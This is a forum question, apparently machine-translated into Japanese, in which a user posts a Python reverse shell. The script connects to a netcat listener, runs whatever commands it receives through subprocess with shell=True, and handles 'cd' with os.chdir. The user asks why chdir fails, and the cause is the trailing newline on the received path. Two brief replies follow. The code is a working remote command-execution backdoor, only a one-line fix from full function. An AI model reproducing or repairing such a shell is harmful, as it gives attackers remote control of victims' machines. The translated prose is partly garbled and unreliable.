逆シェルをnetcatでPython(逆tcp ip)でコーディングしようとしましたが、モジュールos.chdir ()ここに私のコードは次のとおりです。Pythonの逆シェル(tcp ip)コーダーでディレクトリを変更することはできません
import socket
import subprocess
import os
host = 'localhost'
port = 4444
s = socket.socket()
s.connect((host,port))
while True:
directory = ("\n" + os.getcwd() + ">")
directory = directory.encode()
s.send(directory)
data = s.recv(1024)
if data[:2].decode('utf-8') == 'cd':
os.chdir(data[3:].decode('utf-8'))
else:
comm = subprocess.Popen(str(data, "utf-8"), shell=True, stdout=subprocess.PIPE)
out,x = comm.communicate()
s.send(out)
私が実行してnetcatを持つポート4444 を聞くことにより進行:4444 -lVP NCをそして、ここで私のscryptを実行しているエラーは、次のとおりです。
file "reverse-tcp.py", line 20, in <module>
os.chdir(data[3:].decode('utf-8'))
OSError: [WinError 123]
A syntax of file name, directory, or volume is incorrect
'C:\\Users\\Isabelle\\Desktop\\dossier\n'
シェルで実行するコマンドを分離する目的は何ですか?あなたがそれを確立すると、あなたはかなり簡単にOSを見つけることができるし、コマンドやそれ以降のスクリプトを実行するだけです。 – Fallenreaper
コードを適切に書式設定してインデントしてください。 –